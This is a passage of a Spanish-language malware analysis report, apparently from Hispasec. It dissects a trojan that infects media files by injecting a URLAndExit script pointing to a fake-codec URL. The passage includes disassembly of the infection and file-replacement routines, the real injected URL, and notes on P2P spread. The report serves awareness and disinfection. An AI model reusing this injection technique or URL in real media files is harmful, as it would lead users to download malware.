.text:00402FBD lea ecx, [ebp+var_105F]
.text:00402FC3 push ecx
.text:00402FC4 call _CxxThrowException(x,x)

Una coincidencia entre CommandLen y Type alerta sobre el hecho de que el archivo
se encuentra ya infectado, si éste es el caso el valor devuelto por isInfected será
verdadero y no se tomarán más medidas. Sin embargo, si el archivo no estaba
infectado el flujo de ejecución saltará a la rutina de infección:

www.hispasec.com

20
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN

Ilustración 13 - rutina de infección

Podemos ver que el mecanismo de infección consiste en añadir un script de tipo


URLAndExit al fichero, este script solicita el recurso http://isvbr.net?t=3. El
procedimiento AddScript_URLANDEXIT_ simplemente toma la interfaz
IWMHeaderInfoX sobre VulnFile y después ejecuta IWMHeaderInfo::AddScript con
el fin de inyectar el código malicioso.

www.hispasec.com Ilustración 14 -AddScript_URLANDEXIT_

21
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN En efecto, si echamos un vistazo al tamaño del archivo infectado y lo comparamos
con el del archivo antes de la inyección intuimos que la rutina tuvo éxito:

Una comprobación rápida con un editor hexadecimal confirma la infección:

Ilustración 15 - flujo hexadecimal tras la infección

La variable lpMode está estrechamente relacionada con el tipo de fichero que fue
infectado, es más útil cuando el fichero infectado es un .mpX.

www.hispasec.com Ilustración 16 - variable lpMode

22
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN El archivo que fue convertido de .mpX a .asf se guardó en %temp%. Puesto que la
inyección se hace sólo sobre TEMPFILE el malware debe reemplazar el archivo
.mpX original con aquel convertido a ASF:

.text:00401DB6 push REPLACE_EXISTING_COPY_ALLOWED ; dwFlags


.text:00401DB8 mov ecx, [ebp+VulFilePath]
.text:00401DBB push ecx ; lpNewFileName
.text:00401DB lea edx, [ebp+TempFilePath]
.text:00401DC2 push edx ; lpExistingFileName
.text:00401DC3 call MoveFileExW

Aquí es donde acaba el proceso de infección.

www.hispasec.com

23
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN

3. Probando el archivo infectado


El análisis de ingeniería inversa ha revelado que la muestra deshabilita
URLAndExitCommandsEnabled una vez se ejecuta, en consecuencia, si queremos
probar los archivos infectados debemos activar esta funcionalidad
(URLAndExitCommandsEnabled = 1).

Al intentar reproducir el archivo la infección queda patente:

Ilustración 17 - ejecución de un archivo infectado

Vimos que la petición que se inyectó en la muestra era a http://isvbr.net?t=3, en


el momento del análisis el sitio redirigía a www.flashcodec.com, razón por la cual la
ventana emergente muestra www.flashcodec.com como la fuente del archivo a
descargar.

En definitiva, cada vez que se trata de reproducir un archivo multimedia en un


equipo no infectado se solicitará la descarga de un codec falso para poder
visionarlo, este codec es una nueva muestra de malware.

www.hispasec.com

24
HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGÍAS
DE LA INFORMACIÓN

4. Conclusión
Tal y como hemos visto, esta es una técnica más que está siendo empleada por los
creadores de malware para engañar a los usuarios e inducirlos a descargar
archivos maliciosos. Este método puede ser usado para descargar cualquier tipo de
contenido simplemente cambiando la URL de descarga del codec. Se trata de un
enfoque muy elegante pues el archivo a descargar puede ser fácilmente modificado
en el lado servidor, permitiendo actualizar el ejemplar conforme la industria
Antivirus refina sus firmas para detectarlo.

Adicionalmente, el creador de esta muestra en particular ha tomado la astuta


decisión de redirigir la URL del codec falso a otro lugar que es el que realmente
aloja el fichero a descargar. De esta forma, si el recurso que alberga la muestra es
cerrado tan sólo se ha de modificar la redirección para que todos los archivos ya
infectados sigan siendo igual de efectivos. Esto incrementa el tiempo medio de
cierre de la infraestructura del troyano, lo cual probablemente mejora el retorno de
inversión de su creador.

Dada la naturaleza de los archivos objetivo, se trata de un ejemplar ideal para la


propagación por redes P2P. Cualquier usuario infectado será a su vez servidor del
troyano mediante sus recursos compartidos. El resto de usuarios que descarguen
películas, clips, etc. de él no sospecharán del archivo al ver que realmente se trata
de un fichero multimedia y probablemente acaben infectados ellos también.

Las unidades de red compartidas en entornos corporativos, colegios, etc. también


son canales ideales para la propagación de la muestra.

Se trata de un ejemplo más de cómo la combinación de técnica e ingeniería social


forman un cóctel más que interesante de cara a tener altos ratios de infección. Al
final siempre se trata de que los usuarios finales estén apropiadamente
concienciados, estando al tanto de las nuevas amenazas y del hecho de que los
archivos multimedia pueden ser de naturaleza maliciosa. Desde Hispasec
esperamos que este documento ayude en materia de educación y concienciación y
que la herramienta desarrollada para la desinfección sea de gran utilidad para
todos los afectados.

www.hispasec.com

25

También podría gustarte